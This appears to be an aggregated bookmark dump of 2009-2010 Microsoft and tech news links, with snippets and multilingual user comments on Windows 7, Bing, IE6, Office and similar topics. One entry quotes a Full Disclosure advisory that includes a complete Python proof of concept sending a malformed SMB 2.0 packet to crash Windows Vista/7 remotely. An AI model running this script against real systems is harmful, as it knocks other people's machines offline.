powerful tool in combination with social networking
The ViconRevue was originally developed as the SenseCam by Microsoft Research Cambridge, UK, for researchers studying Alzheimer's and other dementias. Studies showed that reviewing the events of the day using SenseCam photos could help some people improve long-term recall.
This article talks about enabling "lifeloggers" who attempt to electronically record as much of their life as possible. This reminds me a lot about Chris Pirillo and the camera he has setup, but also the lightening round we just had about 3D google mapping using cameras.
"Worn on a cord around the neck, the camera takes pictures automatically as often as once every 30 seconds. It also uses an accelerometer and light sensors to snap an image when a person enters a new environment, and an infrared sensor to take one when it detects the body heat of a person in front of the wearer. It can fit 30,000 images onto its 1-gigabyte memory."
A camera you can wear as a pendant to record every moment of your life will soon be launched by a UK-based firm.
Capture it all automatically
A camera you can wear as a pendant to record every moment of your life will soon be launched by a UK-based firm. Originally invented to help jog the memories of people with Alzheimer's disease, it might one day be used by consumers to create "lifelogs" that archive their entire lives. Worn on a cord around the neck, the camera takes pictures automatically as often as once every 30 seconds. It also uses an accelerometer and light sensors to snap an image when a person enters a new environment, and an infrared sensor to take one when it detects the body heat of a person in front of the wearer. It can fit 30,000 images onto its 1-gigabyte memory.Prep Your PC for Windows 7 - windows 7 - Lifehacker
Windows 7 release -- Google vs. Apple vs. Microsoft in the future of OSes.
The launch of Windows 7 marks the end of an era in computingâ€”and the beginning of an epic battle between Microsoft, Google, Apple and others
Briefing from The Economist (17 October 2009)Bing Twitter
Microsoft gets real time twitter search!
It's official Bing launched a twitter search engine, Google not far behind but only available in the US http://ow.ly/vVuW [from http://twitter.com/LauraleeGuthrie/statuses/5070295026]
New Twitter search powered by BingLifehacker's Complete Guide to Windows 7 - Windows - Lifehacker
Windows 7 officially launches today, but we've been testing, tweaking, customizing, fixing, and writing about this OS for a year now. We present here a guide to everything we've learned about the OS, from first install to final settings change.Optimize Your Windows 7 PC - PC World
Squeeze the very best performance out of your PC with these Windows 7 optimization tricks.Top 10 Windows 7 Booster Apps - windows 7 - Lifehacker
「無料Flashゲーム」と「ウェブサイトの見栄えをちょっと良くするアイ・キャンディ」というニッチなポジションに一度は追いやられるように見えた Flash（数年前の話）。しかし、動画フォーマットがReal Networks、Microsoft、Appleの三強いの間で中に浮く隙間を付いた戦略で、見事に「ウェブ上のマルチメディアのデファクト・スタンダード」のポジションをがっちりつかんだかに見えるFlash（現在）。しかし、その地位も安泰ではない。 パソコン側でこれほど有利な立場にありながら、スマートフォンの世界では土俵際に追いつめられた感のあるAdobe。WebKitという戦略兵器を軸に手をがっちりと手を組んだGoogleとApple。思いっきり出遅れてしまったがOS・ブラウザーのシェアと資金力だけは誰にも負けない Microsoft。この戦いは目が離せない。The Master List of New Windows 7 Shortcuts - Windows - Lifehacker
- Windows themes, backgrounds and gadgets - Microsoft WindowsHasta la Vista, baby: Ars reviews Windows 7 - Ars Technica
Windows 7 System Recovery Discs
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NeoSmart Technologies is hosting a copy of the Windows 7 Recovery Disc for your convenience. It's a 143 MiB download (165 MiB for the 64-bit version), and in the standard ISO format, ready to burned directly to a CD or DVD. Don't wait until your PC crashes to download a copy! Download and burn your recovery disc today, so that when the time comes, you'll be ready!
The Windows 7 Recovery Disc can be used to access a system recovery menu, giving you options of using System Restore, Complete PC Backup, automated system repair, and a command-line prompt for manual advanced recovery.Become a PowerPoint Power User - Wired How-To Wiki
There is no one definitive Windows 7 guide—it's a sprawling OS with a decades-long legacy, so nobody can cover it all. But with our powers combined, you're in good hands.SkyDrive Explorer - Fast and Easy Access to Your Live SkyDrive storage from Windows Explorer
SkyDrive Explorer free, easy-to-use, very powerful shell extension for Windows Explorerplorer. Work with documents from Microsoft Live SkyDrive service using Windows Explorer, as if they were on your computerMicrosoft Application Architecture Guide, 2nd Edition
Microsoft Security Essentials7 Things To Do After Installing Windows 7
Installing Windows 7Stop Paying for Windows Security; Microsoft's Security Tools Are Good Enough - Security - Lifehacker
e most irritating feature introduced in Windows Vista was those annoying UAC prompts, asking you for permission to do nearly anything on your computer—and the fact is, even if it makes you feel more secure, it's a false sense of security. Malware researchers at SophosLabs found that 8 of 10 malware samples can actually bypass UAC on a system with the defaFacebook SDK Overview
Microsoft Toolkit to enable .NET developers to quickly and easily leverage the various features of the Facebook Platform.
SyncToy 2.1 is a free application that synchronizes files and folders between locations. Typical uses include sharing files, such as photos, with other computers and creating backup copies of files and folders.Microsoft Office 2010 Beta Professional Plus - Free Download
"With Microsoft Office Professional Plus 2010, your people get a wide range of powerful new ways to do their best work from more places – whether they’re using a PC, smartphone or web browser."IEBlog : An Early Look At IE9 for Developers
Speed & rendering look to be vastly improved in IE9. Fingers crossed, we'll get some other goodies.
Because I care enough to.
Community testing efforts like this one can be helpful. Ultimately, we want to work with the community and W3C and other members of the working groups to define true validation test suites, like the one that we’re all working on together for CSS 2.1, for the standards that matter to developers. For example, this link tests one of the HTML5 storage APIs; some browsers (including IE8) support it today, while others don’t.
Microsoft İE) üzerinde çalışıyor, Windows 7 ye yetiştirilemeyen sürümün bir çok bakımdan iyi olacağı söyleniyor. ama ilk testlerde Acid 3 standart testinden 32 alması bizi üzüyor.
We’re just about a month after the Windows 7 launch, and wanted to show an early look at some of the work underway on Internet Explorer 9. At the PDC today, in addition to demonstrating some of the progress on performance and interoperable standards,What is Pivot?
Here at Live Labs we’re all about experiments, and Pivot is our most ambitious to date. Pivot makes it easier to interact with massive amounts of data in ways that are powerful, informative, and fun. We tried to step back and design an interaction model that accommodates the complexity and scale of information rather than the traditional structure of the Web.The Complete Guide To Microsoft’s Office 2010
Microsoft doesn't think 2010 Word users want a collaboration option in Web version. http://bit.ly/jS7oI [from http://twitter.com/dwicksspu/statuses/2650174101]
Review of @microsoft (client) Office 2010 | http://bit.ly/jS7oI (via @techcrunch) **good one [from http://twitter.com/MikevHoenselaar/statuses/2627550417]Fishbowl
opensource клиент для Facebook с богатым функционалом.
Fishbowl - http://www.fishbowlclient.com/
Desktop app that runs facebook in a cleaner sleeker setup
Fishbowl brings Facebook to your desktop. Experience your Facebook content in new ways with a trial desktop client application that lets you personalize how you read your newsfeed, update status, comment, like, browse and upload photos.
Windows only: Fishbowl, the Facebook client demoed at Microsoft's introduction to Silverlight 4, is now available for download—and it adds quite a few new desktop features to the Facebook experience, including badges, a mini news feed, and more.【PC Watch】 意外に安い? ボリュームライセンスでWindows 7を導入する
みて、ボリュームライセンスという選択肢をとり得ることをもう一度考慮してみてはどうだろう。Videos :: Microsoft PDC09
Nov 17-19; Workshops-Nov 16 (Los Angeles Convention Center) The Professional Developers Conference (PDC) is Microsoft's premier gathering of leading-edge developers and architects.コンピュータ界の有名人スピーチ - What is your value?
未来に先回りして点と点を繋げて見ることはできない、君たちにできるのは過去を振り返って繋げることだけなんだ。だからこそバラバラの点であっても将来それが何らかのかたちで必ず繋がっていくと信じなくてはならない。自分の根性、運命、人生、カルマ…何でもいい、とにかく信じること。点と点が自分の歩んでいく道の途上のどこかで必ずひとつに繋がっていく、そう信じることで君たちは確信を持って己の心の赴くまま生きていくことができる。結果、人と違う道を行くことになってもそれは同じ。信じることで全てのことは、間違いなく変わるんです.... 皆さんも自分がやって好きなことを見つけなきゃいけない。それは仕事も恋愛も根本は同じで、君たちもこれから仕事が人生の大きなパートを占めていくだろうけど自分が本当に心の底から満足を得たいなら進む道はただ一つ、自分が素晴しいと信じる仕事をやる、それしかない。そして素晴らしい仕事をしたいと思うなら進むべき道はただ一つ、好きなことを仕事にすることなんですね。まだ見つかってないなら探し続ければいい。落ち着いてしまっちゃ駄目.... ほかの誰もが『そんなcrazyなことはできない』と思うアイデアであれば、競争相手はほとんどいないということ 自信を持て。頻繁に失敗しろ。不可能に対して健全な疑念を持て。君たちにはエンジニアリング、テクノロジー、ビジネスの能力を活用して世界を変える大いなるチャンスがある。重要なことをしろ。楽しめ。さもなければ成功は望めない。旅をしろ。中国・アフリカ・インドがお薦めだ。そこには驚くべきことが沢山ある!exploitable Crash Analyzer - MSEC Debugger Extensions - Home
via http://blogs.microsoft.co.il/blogs/sasha/archive/2009/09/06/exploitable-crash-analyzer.aspxHEY-IT - We want to get rid of IE6!
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HEY-IT - We want to get rid of IE6!
Let's wake up IT and get them to upgrade our browser. Get rid of IE6!The Big List Of Search Engines & Their Employees On Twitters
Yesterday, Google joined Twitter with a company account. We twittered a few search engine-related addresses as part of our post about that, but we wanted to doMicrosoft Office Outlook Team Blog : Mail Merge: How to send a personalized e-mail to many people at once
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Mail Merge: How to send a personalized e-mail to many people at once
How to send a personalized e-mail to many people at onceSriram Krishnan Stuff I've learned at Microsoft
Coming up on five years (and many teams) at Microsoft, there are a few things I’ve picked up along the way that I definitely didn’t know about when I left college. Call them core values, things I’ve learned, lessons learned, things I scream at my friends to do more of, whatever - they’ve served me well. Some of these are Microsoft-specific but most will apply to any team/corporate environment. Some of these are tricky - they can get you fired (or worse) if you don’t know what you’re doing.Search Engine Optimization (SEO) Toolkit - ScottGu's Blog
ASP.NET, Visual Studio, ASP.NET 2.0, .NETBing
Bing is a search engine that finds and organizes the answers you need so you can make faster, more informed decisions.drplokta: Imminent Death of the Net Predicted
"Some more Googling eventually found RFC3484, which relates to DNS resolution in IPV6, but part of which is back-ported to IPV4. Vista is apparently the first major client OS to implement it, specifically section 6 rule 9. That specifies that the selection of an address from multiple A records is no longer random, but instead the destination address which shares the most prefix bits with the source address is selected, presumably on the basis that it's in some sense "closer" in the network. / Now, this may well make sense in IPV6 (I don't know enough about it to comment), but it's an insane algorithm to use in IPV4. First, the Internet is not laid out that way. As any comic artist can tell you, Europe does have a nice block from 184.108.40.206 to 220.127.116.11, but it also has chunks from 193-195 and 212-213, plus there's lots of geographically random stuff between 128 and 172. / But second, and more important, very few Windows client PCs actually have public IP addresses"
Braindamage in Vista DNS resolver. Microsoft breaks the internet again, by implementing RFC of its own creation.Lifehacker Top 10: Top 10 Things to Look Forward to in Windows 7
Top 10 Things to Look Forward to in Windows 7The Fourth Paradigm: Data-Intensive Scientific Discovery - Microsoft Research
The Fourth Paradigm: Data-Intensive Scientific Discovery Presenting the first broad look at the rapidly emerging field of data-intensive science
In The Fourth Paradigm: Data-Intensive Scientific Discovery, the collection of essays expands on the vision of pioneering computer scientist Jim Gray for a new, fourth paradigm of discovery based on data-intensive science and offers insights into how it can be fully realized.
Free eBook of essays on "Data-Intensive Scientific Discovery" : "Increasingly, scientific breakthroughs will be powered by advanced computing capabilities that help researchers manipulate and explore massive datasets."Ray Ozzie Wants to Push Microsoft Back Into Startup Mode
"Microsoft, Ozzie wrote, had to think and operate more like an Internet company and, as much as possible, like a Web startup. Consider ad-supported or subscription business models, he advised, viral distribution, and experiences that "just work." Instead of the clunkiness that Microsoft products so often displayed, focus on being "seamless." Bottom line: Change big-time, or else."
the back story on Azure and the good 'ol days
Previously, a big part of any development team at Microsoft was making sure its new product worked in lockstep with everything else the company produced. While that approach avoided annoying conflicts, it also tended to smother innovation. "This philosophy of independent innovation...is something Ray pushed very strongly," Ozzie's approach was to encourage people to rush ahead and build things. Then he'd have a team of what he calls the spacklers fill in the gaps and get things ready for release. He spent a lot of time on the physical workspace for his team. He had workers rip down the labyrinthine corridors on one floor and called in architects to create a more open design. Now, walking into the Windows Live Core group is like leaving Microsoft and visiting a Futurama set. Office windows open onto hallways so that quick eye contact can trigger spontaneous discussions. Whiteboards are everywhere. Pool tables, mini-lounges, and snack zones draw people toward the center of the space.
Enigma or not, Ozzie is the one who must lead—or drag, if need be—a software giant with 90,000 employees, $60 billion in revenue, and an untold number of blue screens of death across a chasm. Can he do it? Ozzie's big advantage is that he knows what's on the other side. In fact, he caught a glimpse of it 35 years ago and has been heading there ever since.50 Fantastic Bing Tricks for Students & Librarians | Online Colleges
I've ignored Bing because my first experiences were really lame, but some of these tricks are kinda cool. Most of them work on Google, too.We can help you "Fix it"!
Fix it provides a way to apply automated fixes, workarounds, or configuration changes so you don’t have to perform a long list of manual steps yourself
automate solutions to common software problems in an easy, intuitive way that is available when and where you need it. So whether you are looking for a solution in help or support content, or an error report, Fix it provides a way to apply automated fixes, workarounds, or configuration changes so you don’t have to perform a long list of manual steps yourself.
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Had a fix it for my cd rom i was huntin for a fix for hours and i actually found one that workedBecome a Windows God! How to Enable GodMode on Windows 7 | Web Talk
"One of the less known options on Windows 7 is the God Mode feature. Basically, it lets you have every setting and option right in front of you, ready to be used without having to browse among different settings before getting what you are looking for. "
One of the less known options on Windows 7 is the God Mode feature. Basically, it lets you have every setting and option right in front of you, ready to be used without having to browse among different settings before getting what you are looking for. Here is how to enable it
Windows Seven interface (as well as desktop) is rather clean and minimalist. Of course, you can find almost everything you might need in the famous and well-known Control Panel. However this solution will not allow you to see and easily use all those nested settings included in the main options. Did you know that you can become a God? Well, on Windows 7 at least!Stupid Windows 7 trick: unlock the secret God Mode folder
a folder packed with shortcuts to just about every settings change and administrative function in Windows 7. Everything you'll find in the Action Center, Backup and Restore, Autorun, Desktop Gadgets, Devices and Printers -- it's all there. All dumped in one central location for easy access.Yahoo committed seppuku today « The Jason Calacanis Weblog
Aggression and innovation wins. Period.
Why Yahoo gave up the ship and how Microsoft values different product lines
"The lesson for all startups–and BDC’s (big dumb companies)–is that innovation is all you have. Once you stop innovating you lose your talent and you lose the race. Never. Stop. Innovating. Never. Never. Never."Understanding Windows 7's 'GodMode' | Beyond Binary - CNET News
MS Windows Vista and 7 expanded control panelUnderstanding Windows 7's 'GodMode' | Beyond Binary - CNET News
http://smallvoid.com/article/windows-special-folders.htm10 cool tools in Windows 7 | 10 Things | TechRepublic.com
The changes to the Windows 7 interface have gotten a lot of play, but some of the new built-in tools are just as compelling. Deb Shinder runs through some of the most impressive enhancements, from the ISO burner to the Biometric Framework to PowerShell v2. Windows 7 has received plenty of attention from the tech press, but much of the focus has been on interface changes, such as the redesigned taskbar, and new file management features, such as libraries. Some improvements are less obvious — like the new or enhanced tools that are included with the OS. Here we discuss 10 of these cool tools that make the computing experience easier. Note: This article is also available as a PDF download and as a photo gallery.Why you should use OpenGL and not DirectX - Wolfire Games Blog
Why you should use OpenGL and not DirectX実はメイリオまだ進化中！ 誕生秘話を河野氏に聞いた － ＠IT
Kodu is a visual programming language made specifically for creating games. It is designed to be accessible for children and enjoyable for anyone.
Programming as a Creative Medium The core of the Kodu project is the programming user interface. The language is simple and entirely icon-based. Programs are composed of pages, which are broken down into rules, which are further divided into conditions and actions. Conditions are evaluated simultaneously. The Kodu language is designed specifically for game development and provides specialized primitives derived from gaming scenarios. Programs are expressed in physical terms, using concepts like vision, hearing, and time to control character behavior. While not as general-purpose as classical programming languages, Kodu can express advanced game design concepts in a simple, direct, and intuitive manner.Official Google Enterprise Blog: Use Microsoft Outlook with Google Apps for email, contacts, and calendar
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silverlight samples - YES!48 best free apps from Microsoft | News | TechRadar UK
Great free software doesn't necessarily mean open source
Microsoft's Research Labs, technical blogs and Download Centre also proved fertile, revealing everything from simple utilities to an app that used to sell for £360 but can now be yours for nothing. Sounds like a good deal to us. 1. RichCopymichaelv.org
Windows 3.1 in a browser window
Home page of Michael Vincent, containing information about calculators, computers, and plenty of random nonsense.
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via http://slashdot.org/story/10/02/04/210238/How-Infighting-Hampers-Innovation-At-Microsoft + http://www.reddit.com/r/programming/comments/ay7zf/microsofts_creative_destruction_by_former_vp_dick/
"Some people take joy in Microsoft’s struggles, as the popular view in recent years paints the company as an unrepentant intentional monopolist. Good riddance if it fails. But those of us who worked there know it differently. At worst, you can say it’s a highly repentant, largely accidental monopolist. It employs thousands of the smartest, most capable engineers in the world. More than any other firm, it made using computers both ubiquitous and affordable. Microsoft’s Windows operating system and Office applications suite still utterly rule their markets."
AS they marvel at Apple’s new iPad tablet computer, the technorati seem to be focusing on where this leaves Amazon’s popular e-book business. But the much more important question is why Microsoft, America’s most famous and prosperous technology company, no longer brings us the future, whether it’s tablet computers like the iPad, e-books like Amazon’s Kindle, smartphones like the BlackBerry and iPhone, search engines like Google, digital music systems like iPod and iTunes or popular Web services like Facebook and Twitter.
Microsoft never developed a true system for innovation.
Microsoft no longer brings us the future.
By DICK BRASS Published: February 4, 2010 Why Microsoft, America’s most famous and prosperous technology company, has failed to bring us the future.Full Disclosure: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
Smb-Bsod.py: #!/usr/bin/python from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
This is why we do regression testing, folks!James Hopkins » IE8 Bugs
James Hopkins’ compiled list of IE8 bugs and test cases. This should be something which Microsoft itself keeps public track on.Computer Worms - Conficker| Microsoft Security
Viruses And That-ICT
Ha ha...as if a bounty shall do your hopelessness any good....
The Conficker worm is a computer worm that can infect your computer and spread itself to other computers across a network automatically, without human interaction.PDC2008 Quick Video Link List (Updated: Now with link verification, MP4/ZIP links and Channel 9 session page links) - Greg's Cool [Insert Clever Name] of the Day
TL52 Team Foundation Server 2010: Cool New FeaturesProfessionally designed PowerPoint templates - PowerPoint - Microsoft Office Online
PowerPointのテンプレ集．要2007らしい．Congratulations, Google staff: $210k in profit per head in 2008 | Royal Pingdom
Google factura 210k$ por personal. listado de ranking de facturación por empleado
Doing this study could totally open any company's mind
Google had $209,624 in profit per employee in 2008, which beats all the other large tech companies we looked at, including big hitters like Microsoft, Apple, Intel and IBM.
In that sense Microsoft is doing a very good job considering that they are close to matching Google in spite of having 4.5 times as many employees. And of course, looking at overall profit for the company, Microsoft is way ahead of every other company on this list.Blaise Aguera y Arcas demos augmented-reality maps | Video on TED.com
"Okay, I'm hanging up now."
La réalité augmenté en live depuis la carte, ça arrache quand on monte au ciel. Enjoy.
Microsoft Bingmap "Photosynth"
TED Talks In a demo that drew gasps at TED2010, Blaise Aguera y Arcas demos new augmented-reality mapping technology from Microsoft.
Great new features on the Bing Maps tool: http://www.ted.com/talks/blaise_aguera.html #ted [from http://twitter.com/MikevHoenselaar/statuses/9132225450]Digital Storytelling Teacher Guide
500 Internal Server ErrorAnnouncement | IE6 Funeral
"Internet Explorer Six, resident of the interwebs for over 8 years, died the morning of March 1, 2010 in Mountain View, California, as a result of a workplace injury sustained at the headquarters of Google, Inc. Internet Explorer Six, known to friends and family as "IE6," is survived by son Internet Explorer Seven, and grand-daughter Internet Explorer Eight."
Site humoristique qui annonce la mort de IE6.
Internet Explorer Six, resident of the interwebs for over 8 years, died the morning of March 1, 2010 in Mountain View, California, as a result of a workplace injury sustained at the headquarters of Google, Inc. Internet Explorer Six, known to friends and family as "IE6," is survived by son Internet Explorer Seven, and grand-daughter Internet Explorer Eight. Venue Change: Apparently even more people want to see IE6's cold dead body than we imagined. To better accommodate the overwhelming response, we're changing the venue. On Thursday, March 4, 2010, at 7:00 p.m., we'll gather with fellow IE6 friends and loved ones at Forest Room 5, 2532 15th Street, Denver, CO 80211-3902 to pay our respects. Those unable to attend the funeral are asked to send flowers.
Funny and very smart from the organizers. --- "Internet Explorer Six, resident of the interwebs for over 8 years, died the morning of March 1, 2010 in Mountain View, California, as a result of a workplace injury sustained at the headquarters of Google, Inc. Internet Explorer Six, known to friends and family as "IE6," is survived by son Internet Explorer Seven, and grand-daughter Internet Explorer Eight. Funeral services for Internet Explorer Six will be held at 7pm on March 4 at Aten Design Group, 1629 Downing Street, Denver, CO 80218. Those unable to attend the funeral are asked to send flowers."
Internet Explorer Six, resident of the interwebs for over 8 years, died the morning of March 1, 2010 in Mountain View, California, as a result of a workplace injury sustained at the headquarters of Google, Inc. Internet Explorer Six, known to friends and family as "IE6," is survived by son Internet Explorer Seven, and grand-daughter Internet Explorer Eight.
Internet Explorer Six, resident of the interwebs for over 8 years, died the morning of March 1, 2010 in Mountain View, California, as a result of a workplace injury sustained at the headquarters of Google, IncMicrosoft Office Outlook Team Blog : Triaging Mail with Categories and Search Folders
In this post I will talk about one way you can triage mail using categories and Search Folders. Keep in mind that no single e-mail management method is ideal for all work styles; this is just one method of many and if you’re looking for a change you might want to give this a try and see if it works for you. If you haven’t already, I suggest you install the February Cumulative Update for Outlook 2007, as it has performance updates for Search Folders. This triaging technique is aimed at quickly working through a long list of e-mail and deciding which e-mails need your attention now, and which ones can wait until later. By the end of this post you’ll know how to triage each new e-mail with a couple quick clicks and you will have easy access to the messages that need your attention throughout the day.
An organized mailbox is critical to getting work done, especially if most of your day involves working with Outlook. However, spending more time organizing your mailbox means there’s less time to spend on real work – thus it’s important to find a systemMicrosoft Visual Studio 2008 開発ガイドブック
Most of the discussion on styles these days is about web pages and CSS, but everyone seems to have forgotten how styles can help in Word. I’m going to show you how to use styles in Word 2007, but if you have an older version you’ll be fine. This stuff is largely unchanged since Word for DOS, and that was too long ago to discuss. Most other word processors have similar capabilities, so don’t despair if you’re not a Word user. An analogy is the simplest way to approach this, so come outside with me, and take a look at the fence. No, really.Engineering Windows 7 : Some Changes Since Beta for the RC
We’ve been quite busy for the past two months or so working through all the feedback we’ve received on Windows 7. It should be no surprise but the Release Candidate for Windows 7 will have quite a few changes, many under the hood so to speak but also
All of the new features of Windows 7.Microsoft's Courier 'digital journal': exclusive pictures and details (update: video!) -- Engadget
the inner planner in me gets such a rush from this
RT @javiercelaya: Primeras imágenes de la tableta de MS http://ping.fm/O4CDH
We've been dying to know more about Microsoft's Courier tablet / e-book device ever since we first caught wind of it last September, and while our entreaties to Mr. Ballmer went unanswered, we just learned some very interesting information from an extremely trusted source. We're told Courier will function as a "digital journal," and it's designed to be seriously portable: it's under an inch thick, weighs a little over a pound, and isn't much bigger than a 5x7 photo when closed. That's a lot smaller than we expected -- this new picture really puts it into perspective -- and the internals apparently reflect that emphasis on mobility: rather than Windows 7, we're told the Courier is built on Tegra 2 and runs on the same OS as the Zune HD, Pink, and Windows Mobile 7 Series, which we're taking to mean Windows CE 6.
Exclusive pictures and details (update: video!)
We've been dying to know more about Microsoft's Courier tablet / e-book device ever since we first caught wind of it last September, and while our entreaties to Mr. Ballmer went unanswered, we just learned some very interesting information from an extremely trusted source. We're told Courier will function as a "digital journal," and it's designed to be seriously portable: it's under an inch thick, weighs a little over a pound, and isn't much bigger than a 5x7 photo when closed.
Tegra 2Norwegian Websites Declare War on IE 6 | Epicenter from Wired.com
Die IE6, die! Browsercide evangelism FTW!
Several large websites in Norway have launched an advocacy campaign urging Microsoft Internet Explorer 6 users to upgrade their outdated web browsers.OS X Snow Leopard vs. Windows 7 | The Onion - America's Finest News Source
Microsoft announced it will be releasing a new edition of its operating software, called Windows 7, while Apple is working on its new OS X Snow Leopard. How will they stack up against each other?Scott Hanselman's Computer Zen - The Weekly Source Code 33 - Microsoft Open Source inside Google Chrome
Higly informative read... Almost made me load up a wipe the dust off VC... almost...BBC NEWS | Technology | Serious security flaw found in IE
"Users of Microsoft's Internet Explorer are being urged by experts to switch to a rival until a serious security flaw has been fixed."The Ultimate Excel Cheatsheet
extensive help for excel user
Should really mark this one private
Keyboard Shortcuts, Function cheatsheets, Formula cheatsheets, Tips and VBA sample codeThe Secret Origin of Windows
A quarter century ago, Windows wasn't everywhere. In fact, some were doubtful it would ever ship at all. And Tandy Trower was there.Good Artists Copy, Great Artists Steal « What I Couldn't Say…
The former CEO of Sun Microsystems writes about S/W patent trolling. This blog, entitled "What I couldn't say..." has appeared since the Sun/Oracle merger and is shaping up to be quite interestingGary Flake: is Pivot a turning point for web exploration? | Video on TED.com
Gary Flake demos Pivot, a new way to browse and arrange massive amounts of images and data online. Built on breakthrough Seadragon technology, it enables spectacular zooms in and out of web databases, and the discovery of patterns and links invisible in standard web browsing.
PivotInternet Explorer 9: Platform Demos
RT @joelmoss: Why is IE 9 advertising that it fails the Acid 3 test? http://bit.ly/cFT0E4 (via @rbates)Google shows Microsoft how to connect the dots « counternotions
Google shows Microsoft how to connect the dots « counternotions
Some business advice for Ballmer.
Quoting Marissa Mayer, Google's VP of Search Products & User Experience: "You may have heard about our [directory assistance] 1-800-GOOG-411 service. Whether or not free-411 is a profitable business unto itself is yet to be seen. I myself am somewhat skeptical. The reason we really did it is because we need to build a great speech-to-text model … that we can use for all kinds of different things, including video search."
Interesting article about how Google is just playing a different game than the rest of us.Lifehacker - Create a Hotkey to Paste Plain Text in Microsoft Word - Microsoft Word
Sub PasteSpecial() Selection.PasteSpecial DataType:=wdPasteText End Sub
The official method for pasting plain text into Word is the Paste Special option, assigned to the Ctrl+Shift+V hotkey combination, but it opens a dialog and forces you to choose to paste plain text—a tedious irritation after using it repeatedly. Wille's method is to create a simple macro that pastes using unformatted text, and assign the same hotkey—a simple way to save time pasting text.Lifehacker - Find All the Acronyms in Word Documents - Microsoft Word
Lifehacker - Find All the Acronyms in Word Documents - Microsoft Word http://twurl.nl/vqizla [from http://twitter.com/znth/statuses/1849171774]Round Manhole Covers, or: If Richard Feynman applied for a job at Microsoft :: hebig.org/blog
"Why are manhole covers round" is one of the eternal questions in job interviews, and so it seems to be at Microsoft. The desired and politically correct answer to the question is: "Manhole covers are round because round is the only shape that can never fall into the manhole and hurt someone (with the hole of the same shape, but slightly smaller size than the cover)". And the answer is wrong. Let's ask Mr Feynman:How To Install Microsoft Text Fonts In Ubuntu Linux | MakeUseOf.com
Luckily, installing the Microsoft core fonts package (and any other new fonts) in Ubuntu is easy.Open Data (OData)
The simplest OData service can be implemented as simply as a static file that follows the OData ATOM or JSON payload conventions. For scenarios beyond static content, frameworks are available to help in creating OData services. See the OData developer page for additional information.
New open data protocol being pushed by MicrosoftBreaking: Internet Explorer 8.1 Eagle Eyes Leaked | How-To | Smashing Magazine
server-side decompiler on IE8.1? Hu? http://bit.ly/k0ROh [from http://twitter.com/eranbe/statuses/1921416744]
Reading: Breaking: Internet Explorer 8.1 Eagle Eyes Leaked http://bit.ly/ilOGJ [from http://twitter.com/sandroalberti/statuses/1432144660]
Breaking News: Smashing Magazine April Fools leaked in March - http://tinyurl.com/cv3qtp [from http://twitter.com/hadhad/statuses/1425702635]
Smashing Magazine tries to be at the forefront of new and exciting developments in the wide world of the web. You might have heard that we met with the IE 8 Chief Strategist in the past, so it should come as no surprise that we like to keep up with the latest events in the web browser industry.Curricula
Данный сайт адресован преподавателям, аспирантам, студентам и энтузиастам, преподающим и изучающим современные информационные технологии. Здесь размещены учебные курсы, разработанные в университетах и учебных центрах, использующих технологии Microsoft в своем учебном процессе. Представленные материалы могут быть использованы как для самостоятельного изучения, так и для постановки и внедрения собственных курсов в рамках Microsoft Curriculum License Agreement (EN). Допустимо только некоммерческое использование представленных курсов. При использовании материалов сайта ссылка на авторов обязательна.
Библиотека учебных курсовInternet Explorer UA Style Sheets
ブラウザデフォルトスタイル。IE8で見出しとか大きく変わってたんだな。How To: Protect Your Windows PC from the Conficker Worm
People on windows PCs without updated virus software should probably take a look at this http://is.gd/pVSc [from http://twitter.com/standardman/statuses/1427842931]Analyzing the Design of Websites: Apple, Microsoft & 37 Signals | Our Blog | Box UK
Analisi del design delle HOME PAGE si Apple, Microsoft e 37 Signals
Apple, MSのサイトデザインを分析比較Online Storage: SkyDrive Upgrade Goes Live with 25GB of Space
SkyDriveGlimmer: a jQuery Interactive Design Tool - Home
An interactive design tool for jQuery.Check Your IDE Transfer Mode To Make Your PC Faster | MakeUseOf.com
You've done everything you can to get your computer back up to speed. You've used all the tools there are to save space, defrag, and get rid of junk. You'veSeven more Xbox 360 secrets Microsoft doesn't tell you | News | TechRadar UK
More tips 'n' tricks to get the best from your consoleTop 10 disappointing technologies - News - PC Authority
Pretty much every new product gets hyped as a potentially disruptive technology these days, and usually nobody outside of the company's marketing department actually believes it.
RT @GuyKawasaki: Top 10 disappointing technologies. http://adjix.com/cm52 >> This wkend primed me for their take on Ubuntu. [from http://twitter.com/awsamuel/statuses/1839944070]
adopters to hold off on upgrading until developer
RT @Farrhad: RT @Iconic88 Top 10 disappointing technologies http://bit.ly/acJVI [from http://twitter.com/phaoloo/statuses/1834098743]
- News - PC AuthorityInstalling Windows 7 RC1 on your Mac... for free
Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp.
In case you wanted to try the same. Also works on your PC.
Installing Windows 7 RC1 on your Mac... for free http://ow.ly/6dc4 [from http://twitter.com/10minuteexpert/statuses/1763318305]
by Steven Sande: Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp. Christina did a thorough rundown of the options for running Win 7 on Mac back in January.
